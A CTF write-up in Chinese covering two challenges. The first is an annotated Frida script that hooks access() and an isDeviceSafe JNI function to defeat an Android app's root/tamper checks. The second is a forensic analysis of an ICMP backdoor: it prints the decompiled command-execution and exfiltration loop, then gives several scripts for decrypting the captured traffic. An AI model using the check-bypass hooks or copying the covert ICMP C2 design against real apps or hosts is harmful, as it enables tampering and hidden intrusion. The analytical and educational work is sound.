// Module.findExportByName("libc.so", "access") 用于查找 libc.so 库中名为 "access" 的导出函数。
// `access()` 函数通常用于检查文件或目录是否存在以及访问权限。
Interceptor.attach(Module.findExportByName("libc.so", "access"), {
// onEnter 回调函数在目标函数被调用时执行。
onEnter: function (args) {
// `args[0]` 是 `access()` 函数的第一个参数,通常是文件路径。
// Memory.readUtf8String(args[0]) 从内存地址 `args[0]` 读取一个UTF-8编码的字符串,即文件路径。
var path = Memory.readUtf8String(args[0]);
// 检查当前访问的文件路径是否是 "/data/data/com.tnemesis.rev2/looney_droids.fails"。
// 如果是,则将 `evade` 设置为 true,表示要规避对这个特定文件的检查。
evade = (path === "/data/data/com.tnemesis.rev2/looney_droids.fails");
},
// onLeave 回调函数在目标函数执行完毕并即将返回时执行。
// `retval` 是目标函数的返回值。
onLeave: function (retval) {
// 如果 `evade` 为 true(即当前访问的是我们想规避的文件),
if (evade === true) {
// retval.replace(-1) 将 `access()` 函数的返回值替换为 -1。
// 通过返回 -1,我们欺骗应用,让它以为这个文件不存在或无法访问,从而绕过可能依赖此文件存在的检查。
retval.replace(-1);
// 打印日志,显示 `access()` 函数被Hook后返回的值。
console.log("[*] access() returned: " + retval.toInt32());
}
}
});

var is_librev2 = 0; // 声明一个全局变量 `is_librev2`,用于标记当前加载的库是否是 "librev2.so"。默认为 0。

// Interceptor.attach 用于 Hook `android_dlopen_ext` 函数。
// `android_dlopen_ext` 是 Android 系统中用于动态加载共享库(.so 文件)的函数。
// Hook 这个函数可以在应用加载特定库时执行自定义逻辑。
Interceptor.attach(Module.findExportByName(null, 'android_dlopen_ext'), {
// onEnter 回调在 `android_dlopen_ext` 被调用时执行。
onEnter: function(args) {
// `args[0]` 是 `android_dlopen_ext` 的第一个参数,即要加载的库的路径。
// Memory.readCString(args[0]) 从内存地址 `args[0]` 读取一个C风格的字符串。
var library_path = Memory.readCString(args[0]);
// 检查正在加载的库路径是否以 "librev2.so" 结尾。
// 如果是,则将 `is_librev2` 设置为 true,表示我们关心的是这个库。
is_librev2 = library_path.endsWith("librev2.so");
},
// onLeave 回调在 `android_dlopen_ext` 执行完毕并返回时执行。
// 此时,如果 `librev2.so` 确实被加载了,它应该已经存在于进程内存中。
onLeave: function(args) {
// 如果 `is_librev2` 为 true(即刚刚加载的库是 "librev2.so"),
if (is_librev2 === true) {
// Process.findModuleByName("librev2.so") 查找名为 "librev2.so" 的模块(已加载的共享库)。
var librev2 = Process.findModuleByName("librev2.so");
// librev2.enumerateExports() 枚举 "librev2.so" 模块中所有导出的函数和变量。
var exports = librev2.enumerateExports();

// 遍历所有导出的符号。
for (var i = 0; i < exports.length; i++) {
var symbol = exports[i]; // 获取当前符号对象,包含名称、地址等信息。
var address = symbol.address; // 获取符号的内存地址。

// 检查符号名是否包含 "isDeviceSafe" 并且以 "JNIEnv" 结尾。
// 这是一个非常具体的匹配,可能旨在 Hook Java Native Interface (JNI) 层的某个设备安全检查函数。
if (symbol.name.indexOf("isDeviceSafe") >= 0 && symbol.name.endsWith("JNIEnv")) {
// Hook 这个特定的设备安全检查函数。
Interceptor.attach(address, {
onEnter: function (args) {
// 在函数进入时不执行任何操作。
},
onLeave: function(retval) {
// `retval` 是 `isDeviceSafe` 函数的返回值。
// console.log("isDeviceSafe result: ", retval); // 可以取消注释查看原始返回值。
// retval.replace(1) 将 `isDeviceSafe` 的返回值替换为 1。
// 通常,这种安全检查函数返回 1(或 true)表示设备是安全的/检查通过,返回 0(或 false)表示不安全/检查失败。
// 通过强制返回 1,我们欺骗应用,让它认为设备是安全的,从而绕过设备安全检查。
retval.replace(1);
}
});
}
// 检查符号名是否是 "JNI_OnLoad"。
// `JNI_OnLoad` 是JNI库在被加载时自动调用的函数,常用于进行一些初始化工作或注册Native方法。
else if (symbol.name === "JNI_OnLoad") {
// Hook `JNI_OnLoad` 函数。
Interceptor.attach(address, {
onEnter: function (args) {}, // 在进入时不做任何操作。
onLeave: function(retval) {} // 在离开时不做任何操作。
// 这个Hook本身并没有修改 `JNI_OnLoad` 的行为,但可能用于监控其调用,
// 或者作为未来更复杂Hook的占位符。
});
}
}
}
}
});

这个Frida脚本的核心功能是通过动态函数 Hook 来绕过Android应用中的两种常见安全检查

  1. 文件存在性检查绕过: 它拦截了 libc.so 库中的 access() 函数调用。当应用尝试检查特定文件路径 /data/data/com.tnemesis.rev2/looney_droids.fails 是否存在或可访问时,脚本会强制 access() 函数返回 -1。这欺骗了应用,让它认为该文件不存在,从而绕过任何依赖于此文件存在性的逻辑。
  2. 设备安全检查绕过: 脚本通过 Hook android_dlopen_ext 函数来等待特定的共享库 librev2.so 被加载。一旦 librev2.so 被加载到内存中,脚本会进一步 Hook 其导出的名为 isDeviceSafe(且以 JNIEnv 结尾)的函数。它会强制 isDeviceSafe 函数的返回值变为 1。这有效地欺骗了应用,使其相信设备是安全的(例如,未被Root或篡改),从而绕过与设备完整性相关的检查。

但是执行后提示超时,暂时没排查出问题出在哪里,待: image.png

image.png

(待理解)pwntopiashl

image.png

考察点:

赛后尝试

bin逆向分析

  • main() image.png
  • icmp_packet_listener()

这是一个基于 ICMP 的反向命令执行通信程序,可用于后门植入和 C2(Command and Control)通信。它监听 ICMP 报文,判断是否为特定的命令包(如 ping 包中携带了特定的指令数据),然后执行这些指令并通过伪装成 ICMP 响应的方式返回结果。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
void __noreturn icmp_packet_listener()
{
// 局部变量定义区(编译器自动优化后生成的符号)
size_t v0, v1, v2; // 临时变量用于循环与长度计算
int v3; // 临时变量用于发送数据长度判断
struct sockaddr addr; // 用于 sendto 的目的地址结构
char buf[2]; // 用于构造 ICMP 包发送的缓冲区(ICMP header)
__int16 v6; // ICMP ID 字段(可伪装)
char v7[8]; // 数据包分段编号(发送时携带)
__int64 v8; // 命令执行结果的数据片段
__int16 v9, v10; // 密钥(v9 为接收的密钥,v10 为本地随机生成)
char v11, v12; // 密钥混淆值
__int16 v13; // v9 与 v10 的异或值
char dest[25536]; // 存储解密后的命令或输出结果
char s[20]; // 临时接收数据缓冲区(原始接收包)
char v16; // 数据包的起始标识(用于协议判断)
int v17; // 每一段发送的实际数据长度
unsigned int v18; // 分片总数
FILE *stream; // popen 返回的命令执行文件指针
int v20, v21; // 其他辅助变量
char *v22, *v23; // 指向缓冲区中 ICMP 数据部分
int fd; // socket 文件描述符
int i, j; // 循环变量
int v27; // 当前已发送的偏移量
unsigned int v28; // 剩余要发送的字节数

// === 创建原始 socket:AF_INET, SOCK_RAW, IPPROTO_ICMP ===
fd = socket(2, 3, 1);
if ( fd < 0 )
exit(1); // 创建失败则退出

while (1) // 死循环持续监听
{
// 接收数据直到成功为止(recv 返回值 > 0)
do
memset(s, 0, 0x63C0uLL); // 清空缓冲区(25280字节)
while ( recv(fd, s, 0x63BFuLL, 0) <= 0 ); // 接收 ICMP 数据包

// v23 指向接收的整个数据包
// v22 指向数据包中第 21~22 字节之后(即 ICMP Payload)
v23 = s;
v22 = &v16;
v21 = 28; // 偏移 28 字节用于提取数据(跳过 IP + ICMP Header)

// === 标识为 12 和 35 的 ICMP 包(初始化握手) ===
if ( v16 == 12 && v22[1] == 35 )
{
// 提取加密密钥(2 字节)
// ((_WORD *)v22 + 1):表示将该指针偏移 1 个 _WORD,即偏移 2 字节。最后通过解引用读取其值,即数据包中起始标识的下一个字节开始。
v9 = *((_WORD *)v22 + 1);

// 随机生成另一个 key(2 字节)
LOBYTE(v10) = rand();
HIBYTE(v10) = rand();

// 计算混淆值(可用于验证)
v11 = v9 ^ HIBYTE(v9);
v12 = v10 ^ HIBYTE(v10);
v13 = v9 ^ v10;

// 构造 ICMP 回显应答包(伪装响应)
memset(buf, 0, 0x20uLL); // 清空发送缓冲区
addr.sa_family = 2; // AF_INET
*(_DWORD *)&addr.sa_data[2] = *((_DWORD *)v23 + 3); // 提取源 IP 地址
buf[0] = 0; // ICMP Type: Echo Reply
v6 = v10; // 设置 ID
sleep(1u); // 等待 1 秒(可能用于分包同步)
sendto(fd, buf, v20 + 8LL, 0, &addr, 0x10u); // 回发初始化包
}

// === 标识为 19 和 42 的 ICMP 包:远程命令执行 ===
if ( *v22 == 19 && v22[1] == 42 )
{
addr.sa_family = 2;
*(_DWORD *)&addr.sa_data[2] = *((_DWORD *)v23 + 3); // 源地址

// 提取命令数据(密文),从第 28 字节之后
memset(dest, 0, sizeof(dest));
memcpy(dest, &s[v21], (unsigned int)(25535 - v21));

// 计算真实长度,去除末尾多余的 0
for ( i = 25536; ; --i )
{
v0 = i;
if ( v0 < strlen(dest) || dest[i - 1] )
break;
}

// 使用 v9 解密命令数据(XOR)
for ( j = 0; j < i; ++j )
dest[j] ^= *((_BYTE *)&v9 + (j & 7));

puts(dest); // 输出解密后的命令(调试)
fflush(_bss_start); // 刷新缓冲(可能为隐藏输出或伪装日志)

// 使用 popen 执行解密后的命令
stream = popen(dest, "r");
if ( stream )
{
// 清空缓冲区准备接收命令执行结果
memset(dest, 0, sizeof(dest));
memset(s, 0, 0x63C0uLL);

// 读取命令执行输出结果
while ( fgets(s, 25536, stream) )
{
v1 = strlen(dest);
if ( v1 + strlen(s) > 0x63BE )
break;
strcat(dest, s);
}
pclose(stream); // 关闭 popen 流

// 对命令输出结果再次进行加密(与解密方式相同)
i = strlen(dest);
for ( j = 0; j < i; ++j )
dest[j] ^= *((_BYTE *)&v9 + (j & 7));

// 去除尾部 0 字节
for ( i = 25536; ; --i )
{
v2 = i;
if ( v2 < strlen(dest) || dest[i - 1] )
break;
}

// === 发送执行结果 ===
v27 = 0; // 当前已发送偏移
v28 = i; // 剩余长度
v18 = ((unsigned __int64)i >> 4) + 1; // 总共多少段,每段 16 字节

for ( j = 0; j < (int)v18; ++j )
{
memset(buf, 0, 0x20uLL);
buf[0] = 8; // ICMP Echo Request(伪装成请求)

// 计算当前段长度
v3 = v28;
if ( v28 > 0x10 )
v3 = 16;
v17 = v3;

// 构造序号标签(第几段/总段数)
sprintf(v7, "%04d%04d", (unsigned int)(j + 1), v18);

// 拷贝加密数据段
memcpy(&v8, &dest[v27], v17);
v27 += v17;
v28 -= v17;

sleep(1u); // 等待一段时间(可能规避检测或避免丢包)
sendto(fd, buf, v17 + 16LL, 0, &addr, 0x10u); // 发送数据段
}
}
}
}
}

通过识别icmp包中特定的标识字节(如 12, 3519, 42)判断是否为控制指令。当接收到标识为 19, 42 的数据包时,程序会提取其中携带的加密命令内容,对其进行解密后作为系统命令执行,并将执行结果再次加密。其中,相应的密钥(v9)是来自于当接收到标识为 12, 35 的数据包时获取的,每个相应的包接收2字节的密钥。由于 ICMP 数据包存在长度限制,程序会将结果按最多 16 字节一段进行分片,并构造伪装的 ICMP Echo Request 数据包逐段发送回原发送方,从而完成一次隐蔽的远程命令执行和结果回传过程。整个通信过程无需建立传统的TCP连接,具备较强的隐蔽性。

根据v22 = &v16;v9 = *((_WORD *)v22 + 1);if ( v16 == 12 && v22[1] == 35 )if ( *v22 == 19 && v22[1] == 42 ),显然接下来需要去流量包中尝试是否能找到密钥的位置,根据反编译的结果表明该2字节密钥在每个包的起始标识字节附近。

流量包分析

只有icmp的流量包: image.png 观察整体流量包情况: image.png 显然这种存在问题参数的数据包是我们要优先关注的,显然对应于题目描述的“异常流量”。发现ida中用于判断的起始标识字节正好对应这里的icmp typeicmp code,而密钥v9对应Checksumimage.png 查看该四个“problem“包,可以分别提取出对应的密钥(注意是小端序): 0x0ada0xff3c0x0aea0x3d56

队友3v1L@D3V1L尝试爆破的方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
from scapy.all import rdpcap, ICMP, Raw  
# 从 Scapy 库导入必要的模块:
# - rdpcap: 用于读取 .pcap (数据包捕获) 文件。
# - ICMP: 表示 Internet 控制消息协议层。
# - Raw: 表示数据包中未经解析的原始数据负载层。

def xor_data(data: bytes, key: int) -> bytes:
"""
使用一个2字节的密钥对字节串进行重复XOR操作。

参数:
data (bytes): 要进行XOR操作的字节串。
key (int): 用于XOR的16位整数密钥。

返回:
bytes: XOR操作后的结果字节串。
""" # 将16位整数密钥转换为2字节的字节串,使用小端序 (little-endian)。
# 例如,如果 key 是 0x0ADA,那么 key_bytes 将是 b'\xda\x0a'。
key_bytes = key.to_bytes(2, 'little')

# 遍历输入的 'data' 字节串及其索引。
# 对于索引 'i' 处的每个字节 'b',将其与 'key_bytes' 中的一个字节进行XOR。
# 使用 'i % 2' 来轮流选择 key_bytes[0] 和 key_bytes[1] 进行XOR,实现重复密钥的效果。
return bytes(b ^ key_bytes[i % 2] for i, b in enumerate(data))


# --- 主脚本逻辑 ---
# 从 "capture.pcap" 文件加载所有数据包。
packets = rdpcap("capture.pcap")

# 定义一个已知的16位XOR密钥列表,脚本将尝试用这些密钥进行解密。
keys = [0x0ADA, 0xFF3C, 0x0AEA, 0x3D56]

# 用于存储分段消息的数据包负载的字典。
# 键将是消息的序列号,值是对应数据包的有效负载(不包含头部)。
packet_data = {}
# 用于存储当前正在处理的消息的 (当前序列号, 总预期数据包数) 元组。
current_sequence_id = None
# 存储当前消息序列预期收到的总数据包数量。
total_packets_expected = 0

# 遍历加载的 pcap 文件中的每个数据包,索引从1开始。
for i, pkt in enumerate(packets, 1):
# 检查数据包是否包含 ICMP 层并且有 Raw (原始数据) 层。
# 这确保我们处理的是带有实际负载的 ICMP 数据包。
if ICMP in pkt and pkt.haslayer(Raw):
# 提取 Raw 层的原始负载数据作为字节串。
raw_data = bytes(pkt[Raw].load)
print(f"\n数据包 #{i} 原始负载:")
print(raw_data) # 打印原始字节串,可能显示为ASCII或转义序列

# 检查负载长度是否小于8字节(这是自定义序列头部的预期长度)。
# 如果太短,则认为它不符合分段协议的格式,尝试直接用已知密钥XOR整个负载。
if len(raw_data) < 8:
print(f"警告: 数据包 #{i} 负载 ({len(raw_data)} 字节) 太短,无法解析头部。尝试直接XOR。")
for key in keys:
zz = xor_data(raw_data, key) # 对短负载进行XOR解密。
print(f"密钥 {hex(key)} XOR 解码结果:")
print(zz) # 打印解密后的字节串。
continue # 处理完这个短负载数据包后,跳到下一个数据包。

# 尝试解析自定义的8字节头部。
# 约定:前4字节是当前序列号,接下来的4字节是消息的总数据包数。
try:
# 将前4字节解码为ASCII字符串,然后转换为整数作为当前序列号。
current_seq = int(raw_data[:4].decode('ascii'))
# 将接下来的4字节解码为ASCII字符串,然后转换为整数作为总序列数。
total_seqs = int(raw_data[4:8].decode('ascii'))
except (ValueError, UnicodeDecodeError):
# 如果解析头部失败(例如,不是有效的数字,或者不是ASCII编码),则跳过此数据包。
print(f"警告: 数据包 #{i} 头部解析失败,跳过。")
continue

# 如果当前序列号是1,表示一个新的消息序列开始。
# 此时应清除之前可能未完成的消息片段数据。
if current_seq == 1:
print(f"\n--- 数据包 #{i}: 新消息序列开始。清除旧数据。总预期数据包数: {total_seqs} ---")
packet_data.clear() # 清空存储旧消息片段的字典。
current_sequence_id = (current_seq, total_seqs) # 更新当前消息的标识。
total_packets_expected = total_seqs # 更新该消息预期的总数据包数。

# 存储当前数据包的有效负载(移除8字节头部)。
# 使用当前序列号作为字典的键。
data_without_header = raw_data[8:]
packet_data[current_seq] = data_without_header

# 打印当前数据包的序列号和总序列数,以及已收集的片段数量。
print(
f"处理数据包 #{i}: 序列 {current_seq}/{total_seqs}。已收集 {len(packet_data)}/{total_packets_expected} 个片段。")

# 如果已收集的片段数量达到了预期的总数据包数,则表示一个完整的消息已接收。
if len(packet_data) == total_packets_expected:
print(f"\n--- 已收到所有 {total_packets_expected} 个数据包。正在重构消息。---")

# 按序列号排序并拼接所有收集到的数据片段,形成完整的原始数据。
full_data = b''.join(packet_data[seq] for seq in sorted(packet_data))

print("\n最终拼接的原始数据 (Hex/ASCII):")
try:
# 尝试将完整数据解码为ASCII字符串并打印。
print(full_data.decode('ascii'))
except UnicodeDecodeError:
# 如果解码失败,则打印数据的十六进制表示。
print(full_data.hex())

# 遍历所有已知的XOR密钥,尝试对重构的完整数据进行解密。
for key in keys:
decoded = xor_data(full_data, key) # 使用当前密钥进行XOR解密。
try:
# 尝试将解密后的数据解码为ASCII字符串。
decoded_str = decoded.decode('ascii')
except UnicodeDecodeError:
# 如果解码失败,则打印解密后数据的十六进制表示。
decoded_str = decoded.hex()

print(f"\n密钥 {hex(key)} XOR 解码结果:")
print(decoded_str)

# 一个消息序列处理完成后,重置状态变量,以便处理PCAP文件中可能存在的下一个消息序列。
packet_data.clear() # 清空片段数据。
current_sequence_id = None # 重置当前消息标识。
total_packets_expected = 0 # 重置预期总数据包数。

这个Python脚本的核心功能是从PCAP网络流量中重构并解密分段的ICMP隐蔽通信。它通过解析每个ICMP数据包负载中前8个字节的自定义头部来识别消息的片段(包括当前序列号和总片段数)。一旦收集齐一个完整消息的所有片段,脚本就会将它们按顺序拼接起来,然后尝试使用一组预定义的2字节XOR密钥对重构后的数据进行暴力破解解密,并打印出所有可能的明文结果。简而言之,它是一个自动化工具,旨在揭示通过ICMP隧道传输的分段和XOR加密的秘密信息。

队友0xd3f4ult尝试编写脚本用这些作为XOR密钥解密攻击者发送的命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
#!/usr/bin/env python3  
from scapy.all import rdpcap, ICMP
from ctypes import c_uint32


def ansi_rand(seed, n):
"""
实现一个简单的ANSI C兼容的伪随机数生成器 (PRNG),通常被称为 'rand()'。
该函数根据给定的种子生成 'n' 个字节的伪随机序列。
这个PRNG的特定乘数和加数是经典的 ANSI C `rand()` 实现中常见的魔术数字。

参数:
seed (int): 伪随机数生成器的初始种子。
n (int): 需要生成的随机字节的数量。

返回:
bytes: 包含 'n' 个伪随机字节的字节串。
""" out = bytearray() # 初始化一个可变字节数组,用于存储生成的随机字节。
state = c_uint32(seed) # 使用 ctypes 的 c_uint32 来存储PRNG的内部状态,
# 这样可以确保位操作和溢出行为与C语言中的无符号32位整数一致。

for _ in range(n): # 循环 'n' 次,每次生成一个随机字节。
# 核心的ANSI C PRNG算法:
# 这里使用的是常见的常量:0x343fd 和 0x269ec3 (MSVC rand() 变体)
state.value = (state.value * 0x343fd + 0x269ec3) & 0xffffffff
# 将结果限制在32位无符号整数范围内 (0xffffffff)。

# 提取高16位作为输出。这是ANSI C `rand()` 的常见做法,
# 因为低位的随机性可能不如高位。然后取其低8位作为字节。
out.append((state.value >> 16) & 0xff)
return bytes(out) # 将 bytearray 转换为不可变的 bytes 对象并返回。


# --- 主程序逻辑 ---
pcap = rdpcap("capture.pcap")
# 读取名为 "capture.pcap" 的数据包捕获文件,并将其所有数据包加载到 'pcap' 变量中。

key = bytearray()
# 初始化一个空的 bytearray,用于存储从数据包中提取的RC4密钥blob。
# 使用 bytearray 是因为我们将逐步地 extend (追加) 字节到其中。

ctext = []
# 初始化一个空列表,用于存储从数据包中提取的密文块 (payloads)。
# 每个密文块都是一个 bytes 对象。

print("开始处理 PCAP 文件...")

for p in pcap:
# 遍历 pcap 文件中的每一个数据包 'p'。
if not p.haslayer(ICMP): continue
# 检查当前数据包 'p' 是否包含 ICMP 层。
# 如果不包含,则跳过当前数据包,继续下一个。

data = bytes(p[ICMP].payload)
# 获取 ICMP 层的完整负载 (payload),并将其转换为 bytes 类型。
# 这个负载包含了自定义协议的头部和实际数据。

# --- 解决报错的关键改动:添加长度检查 --- # 检查 ICMP payload 的长度是否至少为8字节。
# 如果不足8字节,则无法正确解析自定义头部(8字节),因此跳过此数据包。
if len(data) < 8:
# print(f"警告: 跳过一个 ICMP 数据包,其负载 ({len(data)}字节) 短于预期的8字节头部。")
continue

hdr, payload = data[:8], data[8:]
# 将 ICMP 负载分割为两部分:
# hdr (头部): 前8个字节,包含自定义协议的通道(chan)、操作码(op)和序列号(seq)信息。
# payload (有效载荷): 从第9个字节开始到末尾,是实际的数据(密钥blob或密文块)。

try:
# 解析自定义头部。
# 将前4字节(通道信息)转换为十六进制字符串,再转换为整数。
chan = int(hdr[:4].hex(), 16)
# 将后4字节(操作码信息)转换为十六进制字符串,再转换为整数。
op = int(hdr[4:].hex(), 16)
# 注意: 原始代码中 'seq' 的赋值是冗余的且与 'op' 相同,因为它没有在后续逻辑中使用。
# op = int(hdr[4:].hex(), 16)
except ValueError as e:
# 捕获可能发生的 ValueError,例如如果 hdr[:4].hex() 或 hdr[4:].hex() 返回了非法的十六进制字符串。
# 这在 hdr 长度检查后通常不会发生,但作为防御性编程是好的实践。
# print(f"警告: 无法解析 ICMP 头部中的十六进制值,跳过此数据包。错误: {e}")
continue # 跳过此数据包。

if op == 0x0003:
# 如果操作码 'op' 是 0x0003,这表示当前数据包的 payload 是 RC4 密钥的一部分。
key.extend(payload) # 将当前数据包的 payload 追加到 'key' bytearray 中。
# 这可能是分段传输的RC4密钥blob。
elif op == 0x0035:
# 如果操作码 'op' 是 0x0035,这表示当前数据包的 payload 是密文的一个块。
ctext.append(payload) # 将当前数据包的 payload 作为密文块添加到 'ctext' 列表中。

# --- 解密阶段 ---
seed = 0x34B17EC5
# 定义用于初始化 PRNG 的种子值。这是一个硬编码的常量,是解密的关键部分。

# 计算总密文长度,以便为 PRNG 生成足够长的密钥流。
total_ctext_len = sum(len(b) for b in ctext)

# --- 额外检查:确保有密文需要解密 ---if total_ctext_len == 0:
print("未在 PCAP 文件中找到任何密文块。无需解密。")
exit(0) # 优雅退出,因为没有数据需要处理。

ks = ansi_rand(seed, total_ctext_len)
# 使用之前定义的 'ansi_rand' 函数,根据 'seed' 和总密文长度生成一个密钥流 (key stream)。
# 这个密钥流将用于与密文进行异或操作来解密。

cipher = b"".join(ctext)
# 将 'ctext' 列表中所有分散的密文块连接成一个单一的、连续的密文 bytes 对象。

# 执行解密:将连接后的密文 'cipher' 与生成的密钥流 'ks' 进行按字节异或操作。
# zip 函数将 'cipher' 和 'ks' 中的字节一一配对。
# 这种异或操作是 RC4 (或类似流密码) 的典型解密方式。
plain = bytes(c ^ k for c, k in zip(cipher, ks))

# --- 保存解密结果 ---
with open("plain.bin", "wb") as f:
# 以二进制写入模式 ("wb") 打开一个名为 "plain.bin" 的文件。
# 'with' 语句确保文件在操作完成后自动关闭。
f.write(plain) # 将解密后的明文数据写入文件。

print("\n解密完成!明文已保存到 plain.bin 文件中。")

这个Python脚本的核心功能是逆向工程并解密一种通过ICMP协议传输的自定义C2(命令与控制)通信。它通过解析ICMP数据包负载中特定的8字节自定义头部来识别两种关键信息:一种是RC4密钥的片段(当操作码 op0x0003 时收集),另一种是加密的命令或响应密文块(当操作码 op0x0035 时收集)。一旦收集到所有密文,脚本会使用一个硬编码的种子 (0x34B17EC5) 和一个模拟ANSI C rand() 的伪随机数生成器来生成与密文等长的密钥流,最后通过逐字节异或(XOR)运算将密文解密成明文,并保存到 plain.bin 文件中。简单来说,它就像一个“ICMP流量翻译器”,专门用于揭示这种隐蔽通信的真实内容。

赛后学习

研究下官方wp中给的脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
from scapy.all import * # 导入Scapy库的所有功能。Scapy是一个强大的交互式数据包操作程序,用于创建、发送、嗅探和解析网络数据包。  
from sys import argv # 从sys模块导入'argv',用于处理命令行参数。

def derive_key(checksum_request, checksum_reply):
"""
根据ICMP请求和回复数据包中的校验和派生一个8字节的解密密钥。
此函数实现了一种特定的密钥派生算法。
参数:
checksum_request (int): ICMP密钥交换请求数据包的校验和值。
checksum_reply (int): ICMP密钥交换回复数据包的校验和值。

返回:
list: 一个包含8个整数的列表,每个整数代表派生密钥的一个字节。
""" key = []
# 提取请求校验和的高字节和低字节
key.append((checksum_request >> 8) & 0xFF) # key[0]: checksum_request 的高字节
key.append(checksum_request & 0xFF) # key[1]: checksum_request 的低字节
# 提取回复校验和的高字节和低字节
key.append((checksum_reply >> 8) & 0xFF) # key[2]: checksum_reply 的高字节
key.append(checksum_reply & 0xFF) # key[3]: checksum_reply 的低字节
# 使用前四个字节的异或操作来派生额外的密钥字节
key.append(key[0] ^ key[1]) # key[4]: key[0] 和 key[1] 的异或结果
key.append(key[2] ^ key[3]) # key[5]: key[2] 和 key[3] 的异或结果
key.append(key[0] ^ key[2]) # key[6]: key[0] 和 key[2] 的异或结果
key.append(key[1] ^ key[3]) # key[7]: key[1] 和 key[3] 的异或结果
return key

def decrypt_data(data, key):
"""
使用重复异或密码和提供的密钥解密给定的字节字符串。

参数:
data (bytes): 要解密的加密数据(字节字符串)。
key (list): 解密密钥(整数列表,每个整数代表一个字节)。

返回:
bytes: 解密后的数据(字节字符串)。
""" # 遍历数据字节,将每个字节与对应的密钥字节进行异或操作。
# 密钥是循环使用的(通过 key[i % len(key)] 实现)。
return bytes([data[i] ^ key[i % len(key)] for i in range(len(data))])

def process_pcap(pcap_file):
"""
处理PCAP文件,从自定义ICMP流量中提取并解密命令和响应。
此函数假设了一个特定的协议,其中:
- 密钥交换涉及ICMP类型12,代码35(请求)和类型0,代码0(回复)。
- 命令通过ICMP类型19,代码42发送。
- 响应被分段并通过ICMP类型8,代码0发送。

参数:
pcap_file (str): 要处理的PCAP文件的路径。
""" packets = rdpcap(pcap_file) # 从指定的PCAP文件中读取所有数据包。
current_key = None # 存储当前派生出的解密密钥。
checksum_request = None # 存储上一个密钥交换请求的校验和。
response = "" # 累积解密后的响应数据。
cmd_count = 0 # 处理的命令数量计数器。
# 原始代码中缺少 'keys' 列表的定义。它可能旨在存储所有派生的密钥。
# 为避免 NameError,这里对其进行初始化。
keys = [] # 初始化 'keys' 列表,用于存储所有派生的密钥。

print("Processing PCAP file...\n")

for pkt in packets:
# 检查数据包是否包含ICMP层
if ICMP in pkt:
icmp = pkt[ICMP]

# --- 密钥交换请求 --- # 自定义ICMP类型12,代码35表示密钥交换请求。
if icmp.type == 12 and icmp.code == 35:
# 如果有正在进行的响应,则在开始新的密钥交换之前打印它。
if response:
print(f"Response {cmd_count-1}: {response}")
response = "" # 清空响应缓冲区。
checksum_request = icmp.chksum # 存储校验和以进行密钥派生。
continue # 继续处理下一个数据包。

# --- 密钥交换回复 --- # 在此自定义协议中,密钥交换请求后的标准ICMP Echo Reply(类型0,代码0)
# 被解释为密钥交换回复。
if icmp.type == 0 and icmp.code == 0 and checksum_request is not None:
# 如果有正在进行的响应,则打印它。
if response:
print(f"Response {cmd_count-1}: {response}")
response = "" # 清空响应缓冲区。
checksum_reply = icmp.chksum # 存储回复校验和。
# 使用请求和回复校验和派生新的密钥。
current_key = derive_key(checksum_request, checksum_reply)
# 打印派生的密钥并将其添加到 'keys' 列表中。
print(f"Key {len(keys)}: {current_key}")
keys.append(current_key)
checksum_request = None # 密钥交换完成后重置请求校验和。
continue # 继续处理下一个数据包。

# --- 命令数据包 --- # 自定义ICMP类型19,代码42表示加密命令。
if icmp.type == 19 and icmp.code == 42:
# 如果有正在进行的响应,则打印它。
if response:
print(f"Response {cmd_count-1}: {response}")
response = "" # 清空响应缓冲区。
# 从ICMP数据包中提取负载(加密的命令数据)。
cmd_data = bytes(icmp.payload)
# 使用 current_key 解密命令数据。
# .decode(errors='ignore') 处理非文本字节可能导致的解码错误。
# .strip('\x00') 移除通常用于填充的空字节。
if current_key: # 确保在尝试解密之前已派生出密钥
cmd = decrypt_data(cmd_data, current_key).decode(errors='ignore').strip('\x00')
print(f"Command {cmd_count}: {cmd}")
cmd_count += 1
else:
print(f"Warning: Command {cmd_count} 在密钥派生之前出现。跳过解密。")
continue # 继续处理下一个数据包。

# --- 响应片段 --- # 标准ICMP Echo Request(类型8,代码0)用于发送响应片段。
if icmp.type == 8 and icmp.code == 0:
# 负载的前8个字节被跳过,可能是片段计数器或其他头部信息。
out_data = bytes(icmp.payload)[8:]
# 解密响应片段并将其附加到 'response' 缓冲区。
if current_key: # 确保在尝试解密之前已派生出密钥
out = decrypt_data(out_data, current_key).decode(errors='ignore')
response += out
else:
print(f"Warning: 响应片段在密钥派生之前出现。跳过解密。")
# 这里没有 'continue',因为一个响应可能由多个片段组成。
